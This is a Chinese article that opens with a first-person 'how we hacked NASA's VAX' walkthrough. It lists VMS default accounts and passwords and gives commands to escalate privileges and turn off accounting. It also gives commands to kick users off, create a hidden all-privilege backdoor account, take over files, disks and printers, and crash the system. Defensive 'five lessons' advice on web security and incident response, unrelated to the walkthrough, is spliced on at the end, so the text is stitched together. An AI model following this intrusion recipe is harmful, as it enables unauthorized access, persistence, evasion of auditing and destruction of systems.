转自:IT专家网
警告:本章涉及某些军事机密,所以在某些地方作了模糊处理。本文危险度极高,请勿模仿。刊登本文的目的是为了让大家对VAX计算机和VMS操作系统有所了解。
在一些黑客入侵活动中,很多黑客根本就不屑于入侵那些的小得可怜的漏洞网站,因为这对那些喜欢刺激的黑客来说,根本就不算什么。用他们的话来说,入侵那些网站只是他们在大脑疲劳时作的一种休闲游戏而已。而对于这些危险级的黑客来说,他们真正感兴趣的是那些平时难得一见放在重要机构和实验室里的计算机,只有那些东西能够真正的刺激起他们的大脑神经系统的活跃,也是真正能够让他们提起胃口的东西。
在这些众多的提味剂中被美国太空总署、美国中央情报局等重要机构青睐的VAX计算机和它的VMS操作系统成为了超级黑客们的最爱,这些东西都能够刺激他们不断的研究试图入侵这些重要机构的每一次微小的机会。
什么是VAX计算机?VMS操作系统是什么?
欲读懂后面的黑客手记,请先了解下面所讲的基础知识。
那么什么是VAX计算机?VMS操作系统又是什么?以下我们就简单地介绍一下这些摆放在实验室里的大型机核心系统。
在1978年,DEC公司建立了第一个基于VAX( virtual address extension)即虚拟地址扩展的计算机体系,它是DEC计算机系统特有的复杂指令计算(CISC)体系结构的计算机VAX11、780。这台大家伙在当时是基本32位的计算机,并且能够有高达1MIPS的运算性能。在那个年代,这台计算机的速度和性能都是无与伦比的。在当时要值$200,000。但显然他是最棒的。
更加值得一提的是VAX是多用户系统,它所采用的网络应用包括:
通信终端协议(CTERM):DNA为VMS系统提供的虚拟终端服务使用该协议,可以用于任何连接,是LAT的可选协议。
分布式命名服务(DNS):DNS为VMS系统的通用命名服务,允许对用户、文件和节点等进行命名,使其成为整个网络共知的标识。
数据存取协议(DAP):DAP是为VMS系统提供远程文件存取的老的协议集。DAP将被DFS所代替。
分布式文件系统(DFS):和网络文件系统相似,目录可以标识为共享,并且能够装到远程节点上。
分布式队列服务(DQS):主要用来进行打印处理,该服务使VMS能够在网上作业队列。“作业控制”将作业从队列中移出,并将其传至协同程序,由它来处理作业。
VAX计算机专用的终端只能用于VAX系统上,并且可能用于Internet服务,它的唯一性和不兼容性保持着它的安全基础。但是对一个非常了解VAX系统的黑客来说这些并不算是什么,他们一样可以利用PC机上的软件来同VAX系统取得连接,并会想方设法摧毁他们,但是每一个黑客的必须要有一个 VT100的终端仿真程序,当然这并不难搞到。
那么什么是VMS哪?VMS(Virtual Memory System)即虚拟内存系统,是比较特别的一种计算机网络操作系统,但是VMS和其他的系统还是有那么一些相似之处的,比如它的登录介面就比较象UNIX系统的。你首先看到的是一个登录信息Username:;接下来便是用户密码: password:如果你能够正确的输入信息的话,那么你就会进到一个以$为提示符的字符操作环境下。当你登录成功后,还会有一系列的提示信息,包括你的username,你的process ID,等等。如下表:(此表欠奉:)
对于一个熟悉操作系统的黑客来说,他会很快地感觉到VMS这个系统和其他的系统如UNIX等操作系统基本一样,一个优秀的黑客在短期内都会将它使用得很得心应手,对于他们来说这些系统的唯一区别只是命令提示不太一样而已。举个例子,如果UNIX系统中的C shell要调用设备的话,就要在命令行输入SHELL设备的调用命令。而VMS中假设调用的这个设备就是history(Dos有相应的模块,叫做Dos提示符),VMS系统中,如果你一直按住Ctrl键,并且输入字符B,那么就会停止其他形式的命令进程,列出所有目前的进程,返回进程,并且报告目前的用户统计,以便进行修改。想要入侵VMS这些都是必备的基础知识。
当然在Internet上还存在许多的VAM系统的服务器,而且至今来说这个古老的VMS系统还是很有活力的,当然他仍然在不但地进行血液的更新,VMS最新的操作系统叫做Open/VMS网络操作系统。OpenVMS主要可以运行在VAX和Alpha系统的主机上,Alpha是一个非常快的工作站系统,而且它可以运行Windows NT,OpenVMS,Digital UNIX等多种系统。这是黑客们梦寐以求的东西,在早些时候许多的黑客为了追求到Alpha工作站,宁肯放弃高薪而去一些麻木而没有活力的科研机构。
目前公共在线的VAX主机大都已经时间比较长了,比如美国多所大学的图书馆的系统,那些都已经非常非常old的VAX系统了。但是在那里我们可以了解到一些VAX/VMS和详细的情况,这些对于一个对VAX一无所知的人来说是一个很好的机会。
VMS系统的安全情况
想要入侵这些重要的机构,黑客们必须了解VMS网络系统的安全性。在VMS系统中安全是经过精心考虑的,因为这些大家伙都是使用在一些重要的研究和军事机构里的,安全问题成为了VMS的重要性能。比如,VMS基本上都有一个强有力的有读写控制,(当然这些都还要看系统管理员的设置情况而定)。在 VMS系统中的读写控制和Novel Netware 平台下的类似,下面就是它所提供的简单的控制命令:
Time(时间):你可以控制哪一天,哪个用户,可以在哪个小时来访问这个系统,默认为一个星期7天,一天24小时,就象是防火墙一样,你可以精确的控制每一个用户。
Resources(资源):你可以控制每一个登录用户的访问权限,可以对每一个目录设置权限。
当然这些都只是VMS系统对于访问控制的一个简单的举例而己。实际上,在VMS系统中还有多重的特权限制,并且可以用于工作组。换句话说,在 VMS系统中,读写控制是一个非常繁杂的设置,有好多好多的选项。正是由于这个原因,因此很少有黑客能够突破这个系统。有时,这种繁杂的设置反而会成为它自身带给网管们的一项非常繁重的工件。这个星球上的聪明的黑客已经意识到了这一点了:
VMS系统的最大的优点就是它的巨大的灵活性。系统管理员可以选择实现或是忽略这种复杂的设置,那么就会给黑客留下机会了。
攻击一个VAX(或是以VMS作为操作系统)的网络操作系统来说,同攻击UNIX系统有很大的不同,首先VMS这个系统的password文件的存放和它的结构和UNIX有很大的不同,UNIX系统下是放在/etc/passwd 这个文件中,这个文件包括定义的用户名,password,登录信息,以及它所在的工作组。与此对比,VMS系统的这个文件不但包括以上这些简单的信息,还有好多的其他的信息:
在每一个运行VMS的DEC主机都会将所有用户的档案资料放在一个文件当中,叫做SYSUAF(System User Authorization File)对于每一个使用此系统的用户包括系统管理员,都有一个record来记录下用户的登录时间和访问权限,而且它还给出了password的详细的时间,password的长度,以及用户登录时所有的详细信息。这真让黑客头疼。
但是就是这种难以理解的password文件结构也有它自身的漏洞,那就是如果一个黑客成功的获得了对这个文件操作的权力,并且修改了它,那么整个系统都将面临危险,然而发生这种情况的可能性微乎其微。
一般情况下用户通过一种叫做UIC(User Identification Code)(用户识别码)的程序才能登录系统。这和UNIX系统中的GID是非常相近的。它识别出登录用户,还有该用户的访问权限,以及工作组,因此,你可以想象这种UIC系统是一个统一的数据库。 攻击美国太空总署Vax-11/780,我想看看美国到底登上月球了吗,有没有外星人跟他们接触,天哪,这一切都是那么的神气,对我就像是一块磁铁,将我所有的激情和目光都拉上了这个地方。http://www.nasa.gov就是他的老巢,但是我对这个并不感兴趣,因为他一样采用的都是普通的WEB服务器。我的目标是突破它的内部网络,也就是NASA的科研核心网络。
入侵美国太空总署第一步:登录
有两种方法可以登录VMS系统。第一种是正常登录,另外一种就是利用试探密码以及欺骗。我们是黑客,优秀的黑客!我们当然选择欺骗(Cheating)登陆,如果你想要成功的混进VAX系统,你可以利用两种方法:
1、用利用系统中现有的其他人的用户名和密码。
2、利用默认的密码进行欺骗进入。
(1)利用其他人的密码:
这种方法既有好的一面,也有不好的一面,好的一方面是你不必新建一个帐号,或是用一个受限制的帐号,那么在这种情况下系统管理员什么都不会觉察到,坏的一方面就是你所利用的帐号的主人可能会注意到。你想想,如果他并没有登录,但是又显示它在线,他会有什么感觉,而且会留下登陆的种种记录,并且他这个帐号还可能没有我们所需要获得的权限。获得其他人的密码比较简单,只要你进入系统,即使只是很小的权限,那么你只要向系统管理员的机器发送一个程序,有点类似于现在的木马或者是欺骗工具。它包含如同登录时需要的屏幕一样,那么,你就可能获得他的密码,还有用户帐号,再把这个文件从远程的打印机打印出来或是输出到一个文件上,当然你一定记得要把这个文件删除掉。
(2)利用系统的默认的密码:
在VAX系统建立时,有4个默认的用户帐号还有密码,它有可能被自修改或是删除,但是系统管理员通常有可能会遗留下一两个以备将来系统遇到麻烦的时候进行恢复工作,这4个帐号和密码分别是:
Name Password SYSTEM MANAGER or OPERATOR FIELD SERVICE or TEST DEFAULT USER or DEFAULT SYSTEST UETP or SYSTEST
我的经验告诉我,一般来说FIELD SERVICE这个帐号都会起作用。一旦我们登录了该系统,如果你想要获得最高的权限,你就应该输入:
$SET PROC/PRIV=ALL
‘$’是系统提示,如果你要是本身获得的权限不够,就会系统提示你不能够执行该命令,那么你就要换一个password,才能得到你想要的特权。是不是很令我们头疼?不过一般的情况下方法还是奏效的。
入侵美国太空总署第二步:浏览该系统
成功的利用完第一步,我们已经可以顺利的在VMS系统上登陆了,下一步要做什么呢?当然是要获取更多的信息,但是首先,我们一定要确认是否能够返回,那么我们就先要这样做:
$SET ACCOUNTING/DISABLE
这将会禁止VMS系统中那个讨厌的跟踪程序对我们的跟踪,再输入:
$SHOW USERS
看一看谁在系统上,如果你看到我们自己的帐号是两个的话,赶快退出来。我们不想因为做傻事而被捉吧,但是我们一旦确认无人能够监视我们的行动,那么我们接下来就输入:
$SET LOGINS/INTERACTIVE=0
这将禁止其他人登录到这台机器上,下一步就要把其他的人踢出去。
$SHOW USERS
系统可能返回如下的信息:
VAX/VMS INTERACTIVE USERS 23-JUL-2000 09:37:15.54 Total number of interactive users= 6 Username Process Name PID Terminal BRUNO BRUNO 0000026B TTD3: FIELD FIELD 00000FF2 TTC2: JOHNSON _TTD5: 0000026D TTD5: LINCOLN LINCOLN 0000026A TTD2: CYBERPUNK CYBERPUNK 000001D8 TTD4: HARDCORE HARDCORE 00000263 TTC0:
现在,如果你以FIELD用户名登录的话,我们要通过验证的话,输入:
$STOP/ID=PID
这样的话,就可以显示除我们之外的用户的情况,并且把的用户踢出去,最好在晚上用户少时这样做,因为如果用户管理员收到好多的控诉信息的话,他就可能会发现并捉住你。接下来,我们要确认,我们能够再次登录到这个系统上,为了能达到这一点:
$SET DEF SYS$SROOT:[SYSEXE]
这样的话,你将进入到SYS$SROOT的SYSEXE目录下一行:
$RUN AUTHORIZE
系统返回如下信息:
UAF> – now type: UAF> ADD WASTOID /PASSWORD= ZEDNET /UIC=[099,900] /CPUTIME=0- /DEVICE=SYS$SYSROOT /DIRECTORY= [SYSEXE] /PRIVS=ALL /NOACCOUNTING UAF> EXIT
这是什么意思呢,让我们往下做:
ADD WASTOID-加入一个记录名字叫WASTOID
/PASSWORD=ZEDNET-为新帐号加密码
/CPUTIME=0-将你的帐号的访问时间变为不限时,
/UIC=[099,900]
/DEVICE=SYS$SYSROOT-设置你的工作驱动器
/DIRECTORY=[SYSEXE]-设置你的工作目录
/PRIVS=ALL-获得最高的操作权限
/NOACCOUNTING-禁止系统跟踪
好了,你现在就有了所有的特权,并且有了合法的帐号,返回系统。
入侵美国太空总署第三步:系统的基础
如果你从没有用过VAX系统的话,可以看一下这些提示:
HELP-将会列出所有的命令,并且能够给你详细的解释
SET DEF drive:[directory.sub1,sub2]-设置默认的工作驱动器还有工作目录
TYPE或是T-和DOS下的TYPE一样,是显示文件内容的:如T file.txt
PRINT或是PR-打印文件,如:PR file.txt
DIR或是D-显示工作目录
DIR/PRINT 或D/PRINT在屏幕和打印机上同时显示。
RUN或是R-执行.exe的可执行文件,如:r filename.exe
好了,准备的比较充分了
入侵美国太空总署第四步:开工了
1、修改文件:
这个世界上最美好的事情就是剥夺他本人的文件的控制权了,当你看到他对自己的文件束手无策时,我们可能会高兴手舞足蹈。让我们偷着乐吧。你可以用:set protection 这个命令,如果你想一个文件只能由你自己访问,而其他的任何人都无权访问时,你可以运行
$set prot=(s:rwed,o,g,w) test.dat
你就有了完全的特权,其他的人包括文件的拥有者,工作组,以及管理员都没有权限。
2、磁盘:
你可以对整个磁盘都一次加以控制,比如你要控制驱动器:dirver1
$dismount driver1 $deallocate driver1 $set prot(s,o;r,g,w)/device/owner_vic[099,900] driver1 $allocate driver1 $mount driver1
这样你就有了一个个人控制的驱动器了。
3、打印机:
我们知道如果要打印一个文件只要输入:
$pr hacking.dat
如果运行
$stop/abort lpao
那么,系统就会停止打印机目前的工作并将它踢出队列。
$delete/queve lpao
这会将队列中所有的项目全部清除,那么打印机就是你一个人的了。如此等等,我们只介绍几种,其他的就看你自己的了。
入侵美国太空总署第五步,安全撤退
1、opccrash
如果要关闭系统的话:
$run sys$system:opccrash
系统会提示:
system shutdown complete –use console to halt system(请使用控制台来关闭系统)
输入:
^P >>>-type: >>>HALT HALTED AT 8000708A
2、破坏性退出
^P >>>HALT >>>@CRASH
这样一整套入侵美国太空总署的行动,就让我们躲在一边偷偷看那些老外们忙活去吧,当然我们也不能忘记“正事”,这就是进入它的数据库,看看那些他们的小秘密。
我们从这些案例和其它现实世界的入侵中归纳了五个教训:认真对待Web应用程序安全;增加安全控制层次;理解安全技术的局限性;评估第三方系统;要知道糟糕的事件反应比没有事件反应更糟糕。
1.认真对待Web应用程序安全
Web应用程序经常是入侵者的起点。我们继续看到IT团队不断地给系统使用补丁和部署防火墙,但是,机构却没有防备有漏洞的应用程序。这些安全漏洞是很容易利用的。
一个机构的最佳防御是把安全集成到应用程序开发的声明周期中。与对正在使用的应用程序打补丁相比,制作安全缺陷较少的代码会提供更大的回报。在质量保证或者评估过程中使用IBM的AppScanner或者惠普的WebInspect等Web应用程序扫描技术是非常重要的。购买而不是制作Web应用程序的企业应该评估这些应用程序或者要求厂商执行由第三方验证的安全评估。
Web应用程序防火墙是一个备用的安全控制。这些产品旨在发现已知的攻击和找出可能支持入侵意图的可疑行为。然而,它们只是辅助性的。它们不能解决有瑕疵的开发做法和有漏洞的应用程序的根本症候。一个Web应用程序防火墙也许会让你花一些时间。但是,企业不修复这个风险的根本原因是愚蠢的。
2. 增加辅助的控制
内部防火墙、加密或者数据库监视软件等辅助控制措施能够提前向安全人员报警或者在入侵者绕过主要控制措施之后阻止其攻击。遗憾的是,我们很少看到有效地实施辅助控制。
例如,我们看到企业在网络内部增加额外的一层防火墙以便更好地隔离重要的系统。我们强烈推荐采用这种做法。然而,人们常见的是缺少政策设置的内部防火墙,简单地允许所有的通讯经过,或者是采用没有人理解的笨拙的政策的防火墙,因为缺少说明书。在我们处理的一些案例中,如果他们恰当地设置防火墙,有些攻击是可以阻止的。
聪明的机构将发现他们能够在什么地方使用分段以便更好地隔离敏感的或者重要的系统和数据,并且根据那个分段创建第二和第三控制系统。这个问题是 “如果系统被攻破,对于我们损害最严重的东西是什么?”因此,厂商会在存储产品设计或者控制组装线的系统周围增加安全层次。一个工具也许会分段网格控制系统。一个支付处理机构或者商家应该把重点放在处理支付的系统上。
但是,不要停留在加入这些备用的控制措施,然后就不管了。要当心只顾减少经营开支从而完全导致减少风险的控制价值失效的笨蛋政策。配置、记载和监视这些控制措施。投入一些资源定期检查控制系统的记录,小心修改和异常活动。做得正确,这些额外的控制措施就能挽救你。做得不对,它们就会提供虚假的安全感,使这个环境更复杂。
3. 了解你的局限性
第三个教训是理解你的安全系统的局限性。我们有杀毒软件、防火墙、网络和主机入侵检测系统、身份识别、PKI、VPN、NAC、安全漏洞扫描器、数据丢失预防工具、安全信息、事件管理平台。尽管如此,安全突破仍在继续发生。
这是因为控制措施的发展没有攻击者的能力进步的那样快。我们研究了一些案例。在其中的一些案例中,一些完全使用了更新的杀毒软件特征的系统没有检测出活跃的木马程序、键盘记录器和嗅探器。大多数病毒特征的开发周期仍然是采用过时的假设制作的。这个假设是恶意软件成功地广泛传播,让厂商了解这个恶意软件,然后制作一个这个恶意软件的特征。此外,攻击者利用包装把自己隐藏起来以躲避病毒扫描器。
安全漏洞扫描器也跟不上已经发布的安全漏洞,不能及时有效地实施应用程序扫描。入侵检测和防御系统也像杀毒产品一样有同样的缺陷。
IT团队能做什么?对于最开始应用安全技术的人们来说,要适度信任技术,不要过多地信任技术。不要指望你的杀毒软件能够找到客户的恶意软件。安全漏洞扫描器只能作为辅助的测试手段以保证你的补丁管理系统在发挥作用。假设你的防火墙能够封锁自动的扫描,可是一个熟练的攻击者会穿过周边设备。
入侵检测和防御系统有时候是有用的。但是,我们经常发现路由器网络流量数据和防火墙“允许”记录能够提供黑客去了哪里的更好的信息,帮助测量突破影响的范围。
从运营的观点看,可以考虑部署一种事件管理技术以得到多个系统活动的状况,或者至少实施集中的记录管理以帮助搜索、评估和存储记录。
还要考虑你的对手的技能和动机,以及有必要采取什么控制措施检测他们的存在。理解他们的能力正在变得越来越重要。
4. 信任,但是要验证
第四个教训是简单的,但是经常容易被忘记:评估第三方的系统。正如我们的售货机的例子显示的那样,尽职的安全调查应该由内部团队或者一个第三方的应用程序安全公司执行。不要忽略容易摘到的果子,如默认的口令。
5. 做好应对事件的计划
最后,要知道糟糕的事件反应比根本没有事件反应更糟糕。我们经常与IT团队销毁了证据的企业打交道。他们销毁证据也许是故意的,也许是因为其它原因,如重建系统、删除硬盘数据、进行数据库分段或者允许第三方提供商访问被攻破的系统。发现这些问题变得很严重,他们可能会销毁或者破坏能够在犯罪起诉中使用的证据。
要拥有一个基本的程序–甚至就像“在你检查事件反应程序之前什么也不要做”这样最基本的程序。有许多免费的材料,范围包括从NIST 800-61指南到Visa的“如果被攻破”指南。使用网络搜索很容易找到这两个文件。
安全突破对于有关的企业和IT专业人员是很痛苦的。但是,沉默并不总是最佳的反应。揭露常见的错误可帮助企业理解他们面临什么问题。